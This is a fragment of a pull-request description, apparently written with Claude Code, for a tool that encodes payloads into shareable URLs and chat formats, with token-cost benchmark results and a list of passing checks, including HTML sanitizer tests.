XDG file. Formats: url, markdown, discord (with the 2,000-char warning), slack, plain,--json. The payload never passes through the agent's context.scripts/bench-tokens.mjs+docs/token-bench-report.md: baseBMP costs ~31% more o200k tokens than base64url on average (worst case 38%); arx4/base64url is token-optimal for nearly every sample kind. Follow-up candidate: a token-optimizing selection mode.Verification
npm run checkgreen: lint, 364 unit tests (incl. 60 self-hosted server tests), codec bench baseline, typecheck (root + cli), production build, bundle budgets.tests/payload-new-kinds.test.ts.tests/sanitize-kit-html.test.ts(scripts, handlers,javascript:URLs, form controls, clobbering vectors, comments).🤖 Generated with Claude Code
Summary by CodeRabbit